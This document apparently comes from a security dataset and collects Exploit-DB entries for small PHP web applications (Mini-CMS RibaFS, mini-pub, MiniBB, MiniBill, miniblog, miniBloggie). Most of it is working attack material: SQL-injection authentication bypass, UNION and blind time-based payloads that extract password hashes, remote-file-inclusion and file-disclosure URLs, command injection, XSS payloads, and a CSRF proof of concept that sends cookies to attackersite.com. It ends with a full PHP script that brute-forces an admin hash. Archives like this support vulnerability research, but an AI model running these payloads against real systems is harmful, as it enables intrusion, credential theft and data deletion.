deardaniel/secdata-raw huggingface dataset:
Exploit-DB #11835
Description: Mini-CMS RibaFS 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2010-03-22
Author: cr4wl3r

Exploit:
=============================================================
Mini CMS RibaFS 1.0 (Auth Bypass) SQL Injection Vulnerability
=============================================================


[+] Mini CMS RibaFS 1.0 (Auth Bypass) SQL Injection Vulnerability

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ######################################            1
0                    I'm cr4wl3r  member from Inj3ct0r Team            1
1                    ######################################            0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

[+] Discovered by: cr4wl3r
[+] My id: http://inj3ct0r.com/author/945
[+] Original: http://inj3ct0r.com/exploits/9667
[+] Download : http://code.google.com/p/minicmsribafs/downloads/list

[+] Code [login.php]

if (isset($_POST['login']))
{

 include_once("./../conexao.inc.php");

     $login=$_POST['login'];
     $senha=$_POST['senha'];  

     $senha=md5($senha);
     $sql=" SELECT * FROM usuarios WHERE login ='$login' AND senha = '$senha' ";

     $qry= mysql_query($sql);

[+] PoC: [path]/admin/login.php
    Auth Bypass : ' or '1=1

[+] Greetz: All member inj3ct0r.com


# Inj3ct0r.com [2010-03-22]
Exploit-DB #6733
Description: mini-pub 0.3 - File Disclosure / Code Execution
Type: webapps
Platform: php
Date: 2008-10-12
Author: muuratsalo

Exploit:
mini-pub 0.3 multiple vulnerabilities

download   http://sourceforge.net/projects/mini-pub/

author     muuratsalo
contact    muuratsalo[at]gmail.com

exploits
1. local file disclosure
http://localhost/mini-pub.php/front-end/img.php?sFileName=http://site.com/cmd.txt?

2. local file disclosure
http://localhost/mini-pub.php/front-end/cat.php?sFileName=/etc/passwd

3. command execution
http://localhost/mini-pub.php/front-end/cat.php?sFileName=a%3Benv

# milw0rm.com [2008-10-12]
Exploit-DB #6734
Description: mini-pub 0.3 - Local Directory Traversal / File Disclosure
Type: webapps
Platform: php
Date: 2008-10-12
Author: GoLd_M

Exploit:
 _____   ____   __   __     _       ____        ____    ____ 
|_   _| |  _ \  \ \ / /    / \     / ___|      / ___|  / ___|
  | |   | |_) |  \ V /    / _ \   | |  _      | |     | |    
  | |   |  _ <    | |    / ___ \  | |_| |  _  | |___  | |___ 
  |_|   |_| \_\   |_|   /_/   \_\  \____| (_)  \____|  \____|
                                                            

mini-pub.php <= v0.3 Local Directory Traversal / File Disclosure Vulnerabilities
Script : http://mini-pub.sourceforge.net/
I- Local Directory Traversal
POC : /mini-pub.php-0.3/front-end/dir.php?sDir=C:\AppServ\MySQL

II- File Disclosure 
POC : /mini-pub.php-0.3/front-end/edit.php?sFileName=edit.php
        ____           _           _           __  __ 
       / ___|   ___   | |       __| |         |  \/  |
      | |  _   / _ \  | |      / _` |         | |\/| |
      | |_| | | (_) | | |___  | (_| |         | |  | |
       \____|  \___/  |_____|  \__,_|  _____  |_|  |_|
                                      |_____|         

# milw0rm.com [2008-10-12]
Exploit-DB #21427
Description: MiniBB 1.2 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2002-04-17
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/4619/info

MiniBB is web forum software. It is written in PHP and will run on most Unix and Linux variants as well as Microsoft Windows operating systems.

MiniBB does not filter script code from URL parameters, making it prone to cross-site scripting attacks.

This may enable a remote attacker to steal cookie-based authentication credentials from legitimate users of a website running MiniBB. 

http://target/forums/index.php?action=search&searchFor="><script>alert("test")</script >
Exploit-DB #28251
Description: MiniBB 1.5 - 'news.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-20
Author: AG-Spider

Exploit:
source: https://www.securityfocus.com/bid/19095/info

MiniBB is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and access the underlying system.

MiniBB version 1.5a is affected; earlier versions may also be vulnerable.

http://www.example.com/[target]/news.php?absolute_path=[shellcode]?
Exploit-DB #635
Description: MiniBB 1.7f - 'user' SQL Injection
Type: webapps
Platform: php
Date: 2004-11-16
Author: anonymous

Exploit:
Example:

 http://[target]/minibb/index.php?action=userinfo&user=1%20union%20select%201,2,user_password%20from%20minibb_users/* 

# milw0rm.com [2004-11-16]
Exploit-DB #4587
Description: MiniBB 2.1 - 'table' SQL Injection
Type: webapps
Platform: php
Date: 2007-10-30
Author: irk4z

Exploit:
  vuln.: miniBB 2.1 (table) Remote SQL Injection Exploit
  download: http://www.minibb.net/download.php?file=minibb21
  dork: "These forums are running on" "miniBB"

  author: irk4z@yahoo.pl
  greets to: str0ke, polish under :*
'-----------------------------------------------------------------------------'

 # code:

  /bb_func_search.php:
       ...
   41    if(isset($_GET['where'])) $where=$_GET['where']+0; else $where=0;
       ...

       ...
  188    if($where==0) { $date_field='post_time'; $poster_field='poster_name'; $table=$Tp; }
  189    elseif($where==1) { $date_field='topic_time'; $poster_field='topic_poster_name'; $table=$Tt; }
       ...

       ...
  215    if($row=db_searchSelect(0,$table,'count(*)',$sqlStr)) $numRows=$row[0]; else $numRows=0;
  216       if($numRows==0){
  217        $searchResults='<span class="txtSm">'.$l_searchFailed.'</span>';
  218       }
  219       else{
  220        $warning=$l_recordsFound.' '.$numRows;
       ...

 SQL query: "select count(*) from $table where $sqlStr" <- sql-inj in $table
 so if register_globals = On, we can get usernames and passwords from database
 in hex, and unhex it (http://www.paulschou.com/tools/xlate/) ;]
 
  
 # p0c:
 
     http://[site]/[path]/index.php?action=search&where=3&searchGo=1&table=[SQL]
     http://[site]/[path]/index.php?action=search&where=3&searchGo=1&table=minibbtable_posts/**/LIMIT/**/0/**/UNION/**/SELECT/**/hex(concat(username,0x20,user_password))/**/FROM/**/minibbtable_users/**/WHERE/**/user_id=1/*

# milw0rm.com [2007-10-30]
Exploit-DB #15415
Description: MiniBB 2.5 - SQL Injection
Type: webapps
Platform: php
Date: 2010-11-04
Author: High-Tech Bridge SA

Exploit:
Vulnerability ID: HTB22671
Reference: http://www.htbridge.ch/advisory/sql_injection_in_minibb.html
Product: MiniBB
Vendor: MiniBB.com ( http://www.minibb.com/ ) 
Vulnerable Version: 2.5
Vendor Notification: 21 October 2010 
Vulnerability Type: SQL Injection
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: High 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" scripts to properly sanitize user-supplied input in "icq", "occupation", "from", "interest", "viewemail", "user_sorttopics" and "language" variables.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.


The following PoC is available:


POST /index.php?action=registernew HTTP/1.1
Host: [host]
Referer: http://[host]/index.php?action=registernew
Content-Type: application/x-www-form-urlencoded
Content-Length: 225

action=register&login=pentest&[CREDENTIAL_REDACTED]=pentest&email=pentest%40pentest.com&icq=1%5C%5C&occupation=2%5C%5C&from=3%5C%5C&interest=4%5C%5C&user_viewemail=5%5C%5C&user_sorttopics=6%5C%5C&language=7%5C%5C&login=Login
Exploit-DB #35579
Description: MiniBB 3.1 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2014-12-19
Author: Kacper Szurek

Exploit:
# Exploit Title: miniBB 3.1 Blind SQL Injection
# Date: 23-11-2014
# Software Link: http://www.minibb.com/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# CVE: CVE-2014-9254
# Category: webapps

1. Description
  
preg_match() only check if $_GET['code'] contains at least one letter or digit (missing ^ and $ inside regexp).

File: bb_func_unsub.php
$usrid=(isset($_GET['usrid'])?$_GET['usrid']+0:0);

$allowUnsub=FALSE;
$chkCode=FALSE;

if(isset($_GET['code']) and preg_match("#[a-zA-Z0-9]+#", $_GET['code'])){
	//trying to unsubscribe directly from email
	$chkField='email_code';
	$chkVal=$_GET['code'];
	$userCondition=TRUE;
	$chkCode=TRUE;
}
else{
	//manual unsubsribe
	$chkField='user_id';
	$chkVal=$user_id;
	$userCondition=($usrid==$user_id);
}

if ($topic!=0 and $usrid>0 and $userCondition and $ids=db_simpleSelect(0, $Ts, 'id, user_id', 'topic_id', '=', $topic, '', '', $chkField, '=', $chkVal))

http://security.szurek.pl/minibb-31-blind-sql-injection.html
  
2. Proof of Concept

http://minibb-url/index.php?action=unsubscribe&usrid=1&topic=1&code=test' UNION SELECT 1, IF(substr(user_password,1,1) = CHAR(99), SLEEP(5), 0) FROM minibbtable_users WHERE user_id = 1 AND username != '

This SQL will check if first password character user ID=1 is c.

If yes, it will sleep 5 seconds.
  
3. Solution:
  
http://www.minibb.com/forums/news-9/blind-sql-injection-fix-6430.html
Exploit-DB #2528
Description: MiniBB keyword_replacer 1.0 - 'pathToFiles' File Inclusion
Type: webapps
Platform: php
Date: 2006-10-12
Author: Kw3[R]Ln

Exploit:
---------------------------------------------------------------------------
miniBB keyword_replacer <= 1.0 [pathToFiles] Remote File Include Vulnerability
---------------------------------------------------------------------------


Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://RST-CREW.net :
Remote : Yes
Critical Level : Dangerous
---------------------------------------------------------------------------

Affected software description :
~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : miniBB keyword_replacer
version : 1.0
URL : http://www.minibb.net/forums/storage/mods/minibb_plugin_keyword_replacer.zip
------------------------------------------------------------------

Vurnerable CoDE:
~~~~~~~~~~~~~~~~~~~~~~~~~~

if(!isset($pathToFiles)) include('./setup_options.php');
include($pathToFiles.'/keywords/keywords.php');

Exploit:
~~~~
Variable $pathToFiles not sanitized.When register_globals=on an attacker ca
n exploit this vulnerability with a simple php injection script.

# http://www.site.com/[path]/addon_keywordreplacer.php?pathToFiles=[Evil_Script]
---------------------------------------------------------------------------

Shoutz:
~~

# Greetz to [Oo], str0ke, th0r, RST TEAM: [ !_30, darkking, DarkWizzard, Elias, Icarius, MiniDisc, Nemessis, Shocker, SpiridusuCaddy and sysghost !]
# To all members of #h4cky0u and RST [ hTTp://RST-CREW.net ]
---------------------------------------------------------------------------

*/

Contact:
~~~~

Nick: Kw3rLn
E-mail: ciriboflacs[at]YaHoo[dot]Com
Homepage: hTTp://RST-CREW.NET
__/*

# milw0rm.com [2006-10-12]
Exploit-DB #32123
Description: MiniBB RSS 2.0 Plugin - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2008-07-29
Author: Ghost Hacker

Exploit:
source: https://www.securityfocus.com/bid/30421/info

The RSS plugin for miniBB is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues can allow an attacker to compromise the application and the underlying computer; other attacks are also possible. 

http://www.example.com/rss2.php?premodDir=[EVIL]
http://www.example.com/rss2.php?pathToFiles=[EVIL]
Exploit-DB #4079
Description: MiniBill 1.2.5 - 'run_billing.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-06-18
Author: Abo0od

Exploit:
=======================================================
MiniBill 2007-04-09 (v1.2.5) Remote File include Vulnerabilities
=======================================================
Found By : Abo0od , abod@islam-attack.com
=======================================================
Homepage: http://www.hack-teach.org/cc
=======================================================
Script Site : http://www.ultrize.com/minibill/index.php?page=download
=======================================================
File: /crontab/run_billing.php <= $config['include_dir']
========================================================
Exploit:
site.com/crontab/run_billing.php?config[include_dir]=Evil-script.txt?
=======================================================
greets to : www.islam-attack.com
=======================================================

# milw0rm.com [2007-06-18]
Exploit-DB #2272
Description: MiniBill 1.22b - config[plugin_dir] Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-29
Author: the master

Exploit:
########################################################################
#  MiniBill v1.22 Beta  Remote File Inclusion Vulnerability
#
#  Download: http://www.ultrize.com/minibill/download/minibill-20060714.zip
#
#  Found By: the master
#
########################################################################
#  exploit:
#
#
http://[Target]/[Path]/actions/ipn.php?config[plugin_dir]=http://cmd.gif?
#
http://[Target]/[Path]/include/initPlugins.php?config[plugin_dir]=http://cmd.gif?
########################################################################

# milw0rm.com [2006-08-29]
Exploit-DB #2656
Description: MiniBill 20061010 - 'menu_builder.php' File Inclusion
Type: webapps
Platform: php
Date: 2006-10-26
Author: Mehmet Ince

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

MiniBILL v2006-10-10 (config[page_dir] Remote File Include Vulnerability

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Author: xoron

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

CODE:

line 71: include($config['page_dir']."menu.php");


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Exploit:

http://www.hedef.com/[script_path]/include/menu_builder.php?config[page_dir]=http://evil_script?


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Thanx: str0ke, kacper, Preddy, chaos ,nukedx, SHiKaA, DJR

www.milw0rm.com
www.team-rootshell.com
www.cyber-warrior.org
irc.milw0rm.com #milw0rm

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

script url: http://www.ultrize.com/minibill/index.php?page=download

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2006-10-26]
Exploit-DB #35862
Description: miniblog 1.0 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-06-15
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/48281/info

miniblog is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

miniblog 1.0.0 is vulnerable; other versions may also be affected. 

http://www.example.com/adm/list.php?post_list=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

http://www.example.com/adm/login.php?error_text=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

http://www.example.com/adm/options.php?response_text=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

http://www.example.com/adm/password.php?response_text=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

http://www.example.com/adm/edit.php?response_text=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/adm/edit.php?mode=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E


<form action="http://www.example.com/adm/admin.php?mode=add&id=" method="post">
<input type="hidden" name="data[post_title]" value="csrf">
<input type="hidden" name="data[post_content]" value="csrf">
<input type="hidden" name="data[published]" value="1">
<input type="hidden" name="miniblog_PostBack" value="Add">
<input type="submit" id="btn">
</form>
<script>
document.getElementById(&#039;btn&#039;).click();
</script>
Exploit-DB #40480
Description: miniblog 1.0.1 - Cross-Site Request Forgery (Add New Post)
Type: webapps
Platform: php
Date: 2016-10-09
Author: Besim

Exploit:
# Exploit Title :              miniblog 1.0.1 - Cross-Site Request Forgery (Add New Post)
# Author :                     Besim
# Google Dork :                
# Date :                       09/10/2016
# Type :                       webapps
# Platform :                   PHP
# Vendor Homepage :  http://www.spyka.net/scripts/php/miniblog
# Software link :
http://dl.spyka.co.uk/scripts/php/miniblog-1-0-1.zip


Description (admin login required) : 

miniblog 1.0.1 versions is vulnerable to CSRF attack, adding, delete and
edit article in the sections

Vulnerable page : http://localhost:8081/miniblog/*adm/admin.php?mode=add

Dangerous point : if used with XSS can be steal on the admin's cookie information.


*############### CSRF PoC ###############*


<html> <!-- CSRF PoC --> <body> <form action="
http://localhost:8081/miniblog/adm/admin.php?mode=add&id=%3Cbr%20/%3E%3Cb%3ENotice%3C/b%3E:%20%20Undefined%20variable:%20post%20in%20%3Cb%3EC:\xampp\htdocs\miniblog\adm\edit.php%3C/b%3E%20on%20line%20%3Cb%3E8%3C/b%3E%3Cbr%20/%3E"
method="POST"> <input type="hidden" name="data&#91;post&#95;title&#93;"
value="<script>location&#46;href&#32;&#61;&#32;â&#128;&#152;http&#58;&#47;&#47;www&#46;attackersite&#46;com&#47;stealer&#46;php&#63;cookie&#61;â&#128;&#153;&#43;document&#46;cookie&#59;<&#47;script>"
/> <input type="hidden" name="data&#91;post&#95;content&#93;"
value="tester" /> <input type="hidden" name="data&#91;published&#93;"
value="1" /> <input type="hidden" name="miniblog&#95;PostBack" value="Add"
/> <input type="submit" value="Submit request" /> </form> <script>
document.forms[0].submit(); </script> </body> </html>



########################################
Exploit-DB #5568
Description: miniBloggie 1.0 - 'del.php' Arbitrary Delete Post
Type: webapps
Platform: php
Date: 2008-05-08
Author: Cod3rZ

Exploit:
# MiniBloggie Arbitrary Delete Post Vulnerability
# Author: Cod3rZ
# Site: http://cod3rz.helloweb.eu
# PoC:
#  if (isset($_GET['post_id'])) $post_id = $_GET['post_id'];
#  if (isset($_GET['confirm'])) $confirm = $_GET['confirm'];
# [...]
# elseif ($confirm=="yes") {
# [...]
# $sql = "DELETE FROM blogdata WHERE post_id=$post_id";
# $query = mysql_query($sql) or die("Cannot query the database.<br>" . mysql_error());
# Vuln: http://site/del.php?post_id=[postid]&confirm=yes
# Ex:   http://127.0.0.1/del.php?post_id=1&confirm=yes
# Visit http://devilsnight.altervista.org

# milw0rm.com [2008-05-08]
Exploit-DB #6782
Description: miniBloggie 1.0 - 'del.php' Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-10-18
Author: StAkeR

Exploit:
#!/usr/bin/php 
<?php

error_reporting(0);


/*
   miniBloggie 1.0 (del.php) Remote Blind SQL Injection Exploit
   ------------------------------------------------------------
   Author -> StAkeR aka athos - StAkeR[at]hotmail[dot]it
   Date   -> 18/10/2008
   Get    -> http://www.mywebland.com/dl.php?id=2
   ------------------------------------------------------------
   
   File del.php
   
   25. if (isset($_GET['post_id'])) $post_id = $_GET['post_id'];
   26. if (isset($_GET['confirm'])) $confirm = $_GET['confirm'];
   27.
   28. if ($confirm=="") {   
   29. notice("Confirmation", "Warning : Do you want to delete this post ? <a href=del.php?post_id=".$post_id."&confirm=yes>Yes</a>");
   30. }
   31. elseif ($confirm=="yes") {
   32. // Data Base Connection  //
   33. dbConnect();
   34. $sql = "DELETE FROM blogdata WHERE post_id=$post_id";
   35. $query = mysql_query($sql) or die("Cannot query the database.<br>" . mysql_error());
   36. $confirm ="";
   37. notice("Del Post", "Data Deleted");
   38. }
   39. else notice( "Delete Error, Unable to complete the task !" );
   40. ?>

   NOTE:
   
   $sql = "DELETE FROM blogdata WHERE post_id=$post_id";
   
   $post_id isn't escaped so you can execute SQL Code 
   
   How to fix? sanize $post_id with intval or int (PHP Functions)
   
  
*/  



function get($host,$path,$evil)
{
  if(!preg_match('/\w:[0-9]/i',$host)) alert();
  $inet = explode(':',$host);

  if(!$sock = fsockopen($inet[0],$inet[1])) die('connection refused');
  
  $data .= "GET /$path/del.php?post_id={$evil}&confirm=yes HTTP/1.1\r\n";
  $data .= "Host: $host[0]\r\n";
  $data .= "User-Agent: Lynx (textmode)\r\n";
  $data .= "Connection: close\r\n\r\n";
  
  fputs($sock,$data);
  
  while(!feof($sock)) { $html .= fgets($sock); }
  fclose($sock);
  
  return $html;
}


function alert()
{
  echo "# miniBloggie 1.0 (del.php) Remote Blind SQL Injection Exploit\r\n";
  echo "# Usage: php {$argv[0]} [host:port] [path] [user_id]\r\n";
  echo "# Usage: php {$argv[0]} localhost:80 /minibloggie 1\r\n";
  die;
}


function charme($char,$colum,$id)
{
  $sql = "1 or (select if((ascii(substring(password".
         ",$colum,1))=$char),benchmark(200000000,char(0)),0)".
         " from blogusername where id=$id)#";
  
  return urlencode($sql);
}


$hash = array(0,48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);
$c = 0;


for($i=0;$i<=32;$i++)
{
  for($j=0;$j<=17;$j++)
  {
    $start = time();
    
    get($argv[1],$argv[2],charme($hash[$j],$c,intval($argv[3])));
    
    $stop = time();
    
    if($stop - $start > 12)
    {
      $password .= chr($hash[$j]);
      $c++;;
      break;
    }
  }
}

if(isset($password))
{
  echo "# Hash: $password\r\n";
  die;
}
else
{
  echo "# Exploit Failed!\r\n";
}
    



?>

# milw0rm.com [2008-10-18]